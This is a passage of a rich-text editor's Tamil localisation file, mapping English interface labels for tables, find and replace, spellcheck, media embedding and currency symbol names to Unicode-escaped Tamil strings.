"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL) \u0b92\u0bb0\u0bc1 \u0bb5\u0bc6\u0bb3\u0bbf\u0baa\u0bcd\u0baa\u0bc1\u0bb1 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 (external link) \u0baa\u0bcb\u0bb2\u0bcd \u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1. \u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 http:\/\/ \u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8\u0ba4\u0bcd (prefix) \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bbe?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL) \u0b92\u0bb0\u0bc1 \u0bb5\u0bc6\u0bb3\u0bbf\u0baa\u0bcd\u0baa\u0bc1\u0bb1 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 (external link) \u0baa\u0bcb\u0bb2\u0bcd \u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1. \u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 https:\/\/ \u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8 (prefix) \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95 \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0bb5\u0bbf\u0bb0\u0bc1\u0bae\u0bcd\u0baa\u0bc1\u0b95\u0bbf\u0bb1\u0bc0\u0bb0\u0bcd\u0b95\u0bb3\u0bbe?",
"Link list": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0baa\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Insert video": "\u0b95\u0bbe\u0ba3\u0bca\u0bb3\u0bbf \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Insert\/edit video": "\u0b95\u0bbe\u0ba3\u0bca\u0bb3\u0bbf \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Insert\/edit media": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Alternative source": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0bae\u0bc2\u0bb2\u0bae\u0bcd",
"Alternative source URL": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0bae\u0bc2\u0bb2 \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf",
"Media poster (Image URL)": "\u0b8a\u0b9f\u0b95 \u0b9a\u0bc1\u0bb5\u0bb0\u0bca\u0b9f\u0bcd\u0b9f\u0bbf (\u0b89\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf)",
"Paste your embed code below:": "\u0ba4\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0b9f\u0bcd\u0baa\u0bc6\u0bbe\u0ba4\u0bbf \u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bcd\u0b9f\u0bc8 \u0b95\u0bc0\u0bb4\u0bc7 \u0b92\u0b9f\u0bcd\u0b9f\u0bb5\u0bc1\u0bae\u0bcd:",
"Embed": "\u0b89\u0b9f\u0bcd\u0baa\u0bca\u0ba4\u0bbf",
"Media...": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd...",
"Nonbreaking space": "\u0baa\u0bbf\u0bb0\u0bbf\u0baf\u0bbe\u0ba4 \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Page break": "\u0baa\u0b95\u0bcd\u0b95 \u0baa\u0bbf\u0bb0\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Paste as text": "\u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b95 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Preview": "\u0bae\u0bc1\u0ba9\u0bcd\u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1",
"Print...": "\u0b85\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95...",
"Save": "\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95",
"Find": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Replace with": "\u0b87\u0ba4\u0ba9\u0bc1\u0b9f\u0ba9\u0bcd \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Replace": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Replace all": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Previous": "\u0bae\u0bc1\u0ba8\u0bcd\u0ba4\u0bc8\u0baf",
"Next": "\u0b85\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4",
"Find and Replace": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Find and replace...": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95...",
"Could not find the specified string.": "\u0b95\u0bc1\u0bb1\u0bbf\u0baa\u0bcd\u0baa\u0bbf\u0b9f\u0bcd\u0b9f \u0b9a\u0bb0\u0bae\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95 \u0bae\u0bc1\u0b9f\u0bbf\u0baf\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"Match case": "\u0bb5\u0b9f\u0bbf\u0bb5\u0ba4\u0bcd\u0ba4\u0bc8 \u0baa\u0bca\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Find whole words only": "\u0bae\u0bc1\u0bb4\u0bc1 \u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd \u0bae\u0b9f\u0bcd\u0b9f\u0bc1\u0bae\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Find in selection": "\u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bbf\u0bb2\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Spellcheck": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0baf\u0bc8 \u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Spellcheck Language": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8 \u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1 \u0bae\u0bca\u0bb4\u0bbf",
"No misspellings found.": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0b95\u0bb3\u0bcd \u0b95\u0bbe\u0ba3\u0baa\u0bcd\u0baa\u0b9f\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8.",
"Ignore": "\u0baa\u0bc1\u0bb1\u0b95\u0bcd\u0b95\u0ba3\u0bbf\u0b95\u0bcd\u0b95",
"Ignore all": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0baa\u0bc1\u0bb1\u0b95\u0bcd\u0b95\u0ba3\u0bbf\u0b95\u0bcd\u0b95",
"Finish": "\u0bae\u0bc1\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Add to Dictionary": "\u0b85\u0b95\u0bb0\u0bbe\u0ba4\u0bbf\u0baf\u0bbf\u0bb2\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Insert table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Table properties": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8 \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Delete table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8 \u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Cell": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8",
"Row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Column": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Cell properties": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Merge cells": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8\u0b95\u0bb3\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Split cell": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0baa\u0bbf\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Insert row before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Insert row after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0baa\u0bbf\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Delete row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Row properties": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Cut row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0bb5\u0bc6\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Copy row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0ba8\u0b95\u0bb2\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Paste row before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Paste row after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0baa\u0bbf\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Insert column before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0bae\u0bc1\u0ba9\u0bcd \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Insert column after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0baa\u0bbf\u0ba9\u0bcd \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Delete column": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Cols": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0b95\u0bb3\u0bcd",
"Rows": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0b95\u0bb3\u0bcd",
"Width": "\u0b85\u0b95\u0bb2\u0bae\u0bcd",
"Height": "\u0b89\u0baf\u0bb0\u0bae\u0bcd",
"Cell spacing": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Cell padding": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0ba8\u0bbf\u0bb0\u0baa\u0bcd\u0baa\u0bb2\u0bcd",
"Caption": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Show caption": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Left": "\u0b87\u0b9f\u0bae\u0bcd",
"Center": "\u0bae\u0bc8\u0baf\u0bae\u0bcd",
"Right": "\u0bb5\u0bb2\u0bae\u0bcd",
"Cell type": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0bb5\u0b95\u0bc8",
"Scope": "\u0bb5\u0bb0\u0bc8\u0baf\u0bc6\u0bb2\u0bcd\u0bb2\u0bc8",
"Alignment": "\u0b9a\u0bc0\u0bb0\u0bae\u0bc8\u0bb5\u0bc1",
"H Align": "\u0b95\u0bbf (H) \u0b87\u0b9a\u0bc8\u0bb5\u0bc1",
"V Align": "\u0b9a\u0bc6 (V) \u0b87\u0b9a\u0bc8\u0bb5\u0bc1",
"Top": "\u0bae\u0bc7\u0bb2\u0bcd",
"Middle": "\u0ba8\u0b9f\u0bc1",
"Bottom": "\u0bae\u0bc7\u0bb2\u0bcd",
"Header cell": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8",
"Row group": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b95\u0bc1\u0bb4\u0bc1",
"Column group": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b95\u0bc1\u0bb4\u0bc1",
"Row type": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0bb5\u0b95\u0bc8",
"Header": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Body": "\u0b89\u0b9f\u0bb2\u0bcd",
"Footer": "\u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc1\u0bb1\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Border color": "\u0b95\u0bb0\u0bc8\u0baf\u0bbf\u0ba9\u0bcd \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Insert template...": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95...",
"Templates": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Template": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1",
"Text color": "\u0b89\u0bb0\u0bc8\u0baf\u0bbf\u0ba9\u0bcd \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Background color": "\u0baa\u0bbf\u0ba9\u0bcd\u0ba9\u0ba3\u0bbf \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Custom...": "\u0ba4\u0ba9\u0bbf\u0baa\u0bcd\u0baa\u0baf\u0ba9\u0bcd...",
"Custom color": "\u0ba4\u0ba9\u0bbf\u0baa\u0bcd\u0baa\u0baf\u0ba9\u0bcd \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"No color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd \u0b87\u0bb2\u0bcd\u0bb2\u0bc8",
"Remove color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Table of Contents": "\u0baa\u0bca\u0bb0\u0bc1\u0bb3\u0b9f\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Show blocks": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf\u0b95\u0bb3\u0bc8 \u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Show invisible characters": "\u0b95\u0ba3\u0bcd\u0ba3\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0ba4\u0bcd \u0ba4\u0bc6\u0bb0\u0bbf\u0baf\u0bbe\u0ba4 \u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bc8 \u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Word count": "\u0b9a\u0bca\u0bb2\u0bcd \u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0b95\u0bcd\u0b95\u0bc8",
"Count": "\u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0b95\u0bcd\u0b95\u0bc8",
"Document": "\u0b86\u0bb5\u0ba3\u0bae\u0bcd",
"Selection": "\u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bc1",
"Words": "\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Words: {0}": "\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd: {0}",
"{0} words": "{0} \u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"File": "\u0b95\u0bcb\u0baa\u0bcd\u0baa\u0bc1",
"Edit": "\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Insert": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"View": "\u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Format": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8",
"Tools": "\u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0b95\u0bb3\u0bcd",
"Powered by {0}": "\u0bb5\u0bb2\u0bc1\u0bb5\u0bb3\u0bbf\u0baa\u0bcd\u0baa\u0ba4\u0bc1 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0b89\u0baf\u0bb0\u0bcd \u0b89\u0bb0\u0bc8 \u0baa\u0b95\u0bc1\u0ba4\u0bbf. \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-F9 , \u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0b95\u0bcd\u0b95\u0bc1 ALT-F10 , \u0b89\u0ba4\u0bb5\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-0",
"Image title": "\u0baa\u0b9f\u0ba4\u0bcd \u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Border width": "\u0b95\u0bb0\u0bc8 \u0b85\u0b95\u0bb2\u0bae\u0bcd",
"Border style": "\u0b95\u0bb0\u0bc8 \u0baa\u0bbe\u0ba3\u0bbf",
"Error": "\u0baa\u0bbf\u0bb4\u0bc8",
"Warn": "\u0b8e\u0b9a\u0bcd\u0b9a\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Valid": "\u0b9a\u0bc6\u0bb2\u0bcd\u0bb2\u0ba4\u0bcd\u0ba4\u0b95\u0bcd\u0b95\u0ba4\u0bc1",
"To open the popup, press Shift+Enter": "\u0bae\u0bc7\u0bb2\u0bcd\u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1-\u0bb5\u0bc8\u0ba4\u0bcd \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95 Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u0b89\u0baf\u0bb0\u0bcd \u0b89\u0bb0\u0bc8 \u0baa\u0b95\u0bc1\u0ba4\u0bbf. \u0b89\u0ba4\u0bb5\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-0",
"System Font": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1",
"Failed to upload image: {0}": "\u0baa\u0b9f\u0bae\u0bcd \u0baa\u0ba4\u0bbf\u0bb5\u0bc7\u0bb1\u0bcd\u0bb1\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0}",
"Failed to load plugin: {0} from url {1}": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b8f\u0bb1\u0bcd\u0bb1\u0bc1\u0ba4\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0} - {1} \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf\u0baf\u0bbf\u0bb2\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1",
"Failed to load plugin url: {0}": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf \u0b8f\u0bb1\u0bcd\u0bb1\u0bc1\u0ba4\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0}",
"Failed to initialize plugin: {0}": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0ba4\u0bc1\u0bb5\u0b99\u0bcd\u0b95\u0bc1\u0ba4\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0}",
"example": "\u0b89\u0ba4\u0bbe\u0bb0\u0ba3\u0bae\u0bcd",
"Search": "\u0ba4\u0bc7\u0b9f\u0bc1\u0b95",
"All": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc1\u0bae\u0bcd",
"Currency": "\u0b9a\u0bc6\u0bb2\u0bbe\u0bb5\u0ba3\u0bbf (Currency)",
"Text": "\u0b89\u0bb0\u0bc8",
"Quotations": "\u0bae\u0bc7\u0bb1\u0bcd\u0b95\u0bc7\u0bbe\u0bb3\u0bcd\u0b95\u0bb3\u0bcd",
"Mathematical": "\u0b95\u0ba3\u0b95\u0bcd\u0b95\u0bbf\u0baf\u0bb2\u0bcd",
"Extended Latin": "\u0ba8\u0bc0\u0b9f\u0bcd\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0b87\u0bb2\u0ba4\u0bcd\u0ba4\u0bc0\u0ba9\u0bcd",
"Symbols": "\u0b87\u0b9f\u0bc1\u0b95\u0bc1\u0bb1\u0bbf\u0b95\u0bb3\u0bcd",
"Arrows": "\u0b85\u0bae\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"User Defined": "\u0baa\u0baf\u0ba9\u0bb0\u0bcd \u0bb5\u0bb0\u0bc8\u0baf\u0bb1\u0bc1\u0ba4\u0bcd\u0ba4",
"dollar sign": "dollar \u0b95\u0bc1\u0bb1\u0bbf",
"currency sign": "\u0b9a\u0bc6\u0bb2\u0bbe\u0bb5\u0ba3\u0bbf\u0b95\u0bcd \u0b95\u0bc1\u0bb1\u0bbf",
"euro-currency sign": "euro-currency \u0b95\u0bc1\u0bb1\u0bbf",
"colon sign": "colon \u0b95\u0bc1\u0bb1\u0bbf",
"cruzeiro sign": "cruzeiro \u0b95\u0bc1\u0bb1\u0bbf",
"french franc sign": "french franc \u0b95\u0bc1\u0bb1\u0bbf",
"lira sign": "lira \u0b95\u0bc1\u0bb1\u0bbf",
"mill sign": "mill \u0b95\u0bc1\u0bb1\u0bbf",
"naira sign": "naira \u0b95\u0bc1\u0bb1\u0bbf",
"peseta sign": "peseta \u0b95\u0bc1\u0bb1\u0bbf",
"rupee sign": "rupee \u0b95\u0bc1\u0bb1\u0bbf",
"won sign": "won \u0b95\u0bc1\u0bb1\u0bbf",
"new sheqel sign": "new sheqel \u0b95\u0bc1\u0bb1\u0bbf",
"dong sign": "dong \u0b95\u0bc1\u0bb1\u0bbf",
"kip sign": "kip \u0b95\u0bc1\u0bb1\u0bbf",
"tugrik sign": "tugrik \u0b95\u0bc1\u0bb1\u0bbf",
"drachma sign": "drachma \u0b95\u0bc1\u0bb1\u0bbf",
"german penny symbol": "german penny \u0b87\u0b9f\u0bc1\u0b95\u0bc1\u0bb1\u0bbf",
"peso sign": "peso \u0b95\u0bc1\u0bb1\u0bbf",
"guarani sign": "guarani \u0b95\u0bc1\u0bb1\u0bbf",
"austral sign": "austral \u0b95\u0bc1\u0bb1\u0bbf",
"hryvnia sign": "hryvnia \u0b95\u0bc1\u0bb1\u0bbf",
"cedi sign": "cedi \u0b95\u0bc1\u0bb1\u0bbf",
"livre tournois sign": "livre tournois \u0b95\u0bc1\u0bb1\u0bbf",
"spesmilo sign": "spesmilo \u0b95\u0bc1\u0bb1\u0bbf",
"tenge sign": "tenge \u0b95\u0bc1\u0bb1\u0bbf",
"indian rupee sign": "indian rupee \u0b95\u0bc1\u0bb1\u0bbf",
"turkish lira sign": "turkish lira \u0b95\u0bc1\u0bb1\u0bbf",
"nordic mark sign": "nordic mark \u0b95\u0bc1\u0bb1\u0bbf",
"manat sign": "manat \u0b95\u0bc1\u0bb1\u0bbf",
"ruble sign": "ruble \u0b95\u0bc1\u0bb1\u0bbf",
"yen character": "yen \u0b89\u0bb0\u0bc1",
"yuan character": "yuan \u0b89\u0bb0\u0bc1",
"yuan character, in hong kong and taiwan": "yuan \u0b89\u0bb0\u0bc1, \u0bb9\u0bbe\u0b99\u0bcd\u0b95\u0bbe\u0b99\u0bcd \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0ba4\u0bbe\u0baf\u0bcd\u0bb5\u0bbe\u0ba9\u0bcd \u0b87\u0bb2\u0bcd",
"yen\/yuan character variant one": "yen\/yuan \u0b89\u0bb0\u0bc1 \u0bae\u0bbe\u0bb1\u0bc1\u0baa\u0bbe\u0b9f\u0bc1",
"Loading emoticons...": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b8f\u0bb1\u0bcd\u0bb1\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0b95\u0bbf\u0ba9\u0bcd\u0bb1\u0ba9...",
